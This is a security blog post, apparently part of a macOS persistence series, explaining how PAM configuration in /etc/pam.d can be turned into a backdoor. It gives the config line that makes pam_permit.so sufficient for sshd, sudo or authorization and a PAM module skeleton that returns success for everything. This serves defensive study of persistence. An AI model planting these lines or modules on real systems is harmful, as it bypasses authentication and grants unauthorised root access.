Beyond the good ol' LaunchAgents - 5 - Pluggable Authentication Modules (PAM)

theevilbit.github.io/beyond/beyond_0005

March 20, 2021

> This is part 5 in the series of "Beyond the good ol' LaunchAgents", where I try to collect various persistence techniques for macOS. For more background check the introduction.

PAM originated from Red Hat Linux, but made its way to most *nix based system, including macOS. It's a modular system, that allows third party additions to various authentication related operations. I highly recommend checking out the FreeBSD documentation to get a full picture.

PAM has four facilities concerning authentication, *auth*, *account*, *session* and *password*. These are related to authentication, account management, session management and password management respectively. I will focus here on *auth* which is responsible for user authentication.

Each service that uses PAM, has a configuration file, where the various facilities, the responsible modules and their policy in the chain of modules is defined. On macOS the PAM configuration files can be found in `/etc/pam.d/`. Let's take a look at `sshd`, which configures authentication for the `sshd` service.

```
csaby@mac ~ % cat /etc/pam.d/sshd
# sshd: auth account password session
auth       optional       pam_krb5.so use_kcminit
auth       optional       pam_ntlm.so try_first_pass
auth       optional       pam_mount.so try_first_pass
auth       required       pam_opendirectory.so try_first_pass
account    required       pam_nologin.so
account    required       pam_sacl.so sacl_service=ssh
account    required       pam_opendirectory.so
password   required       pam_opendirectory.so
session    required       pam_launchd.so
session    optional       pam_mount.so
```

We have three columns, the first is the facility, the second is the policy and the last is the module(s). The policy will define how the result of the module should be treated. *optional* is ignored if there is a *required* in the chain. *required* means that if it's run and returns a failure, the overall result will be also a failure. *sufficient* means that if it results in success, subsequent modules won't be called, and the overall result will be success.

There is a module, called *pam_permit.so*, which will return success for every request. (Similarly there is a module called *pam_deny.so* for rejection). There is so much we can do with PAM. For example, take the following line.

```
auth       sufficient     pam_permit.so
```

This line means that the *pam_permit.so* module is sufficient for authentication, and as it always returns true, no further check will be done. Adding the above line at the top of the `sshd` configuration, will result in permitting every SSH login. Perfect backdoor, we can always login to the machine. If we add the same line to `sudo`, we can always get root, when we run the command `sudo`. If we add it to `authorization` every authorization request will be successful, and if we reboot, we can login on the console without a password.

But there is more! We can load our own module by adding it to the configuration.

```
auth       sufficient     /Users/Shared/pam.dylib
```

This will call our module whenever there is an authentication request. Here is an empty skeleton for a PAM module, I found it on Stack Overflow.

```
#define PAM_SM_ACCOUNT
#define PAM_SM_AUTH
#define PAM_SM_PASSWORD
#define PAM_SM_SESSION

#include <security/pam_appl.h>
#include <security/pam_modules.h>
#include <stdlib.h>
#include <stdio.h>


PAM_EXTERN int pam_sm_open_session(pam_handle_t *pamh, int flags, int argc, const
char **argv) {
    return(PAM_SUCCESS);
}

PAM_EXTERN int pam_sm_close_session(pam_handle_t *pamh, int flags, int argc, const
char **argv)           {
    return(PAM_SUCCESS);
}

PAM_EXTERN int pam_sm_acct_mgmt(pam_handle_t *pamh, int flags, int argc, const char
**argv) {
    return(PAM_SUCCESS);
}

PAM_EXTERN int pam_sm_authenticate(pam_handle_t *pamh, int flags, int argc, const
char **argv) {
    return(PAM_SUCCESS);
}

PAM_EXTERN int pam_sm_setcred(pam_handle_t *pamh, int flags, int argc, const char
**argv) {
    return(PAM_SUCCESS);
}

PAM_EXTERN int pam_sm_chauthtok(pam_handle_t *pamh, int flags, int argc, const char
**argv) {
    return(PAM_SUCCESS);
}
```

We can add our own code, and do whatever we want, although we likely want to be non-blocking, otherwise the machine could become unusable. As these services run as root, this is a very nice backdoor if we have root level access.

The reason we can load our modules (by design) is because of the entitlement of these services. For example, here is `sshd`.

```
Executable=/usr/sbin/sshd
Identifier=com.apple.sshd
Format=Mach-O universal (x86_64 arm64e)
CodeDirectory v=20100 size=17247 flags=0x0(none) hashes=532+5 location=embedded
Platform identifier=11
Signature size=4577
Signed Time=2020. Dec 22. 2:07:50
Info.plist=not bound
TeamIdentifier=not set
Sealed Resources=none
Internal requirements count=1 size=64
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN"
"http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
        <key>com.apple.private.security.clear-library-validation</key>
        <true/>
</dict>
</plist>
```

It has the `com.apple.private.security.clear-library-validation` entitlement, which allows the load of external libraries.

All of the above requires root level access, as without that we can't modify these files, but if we have that, it's very nice.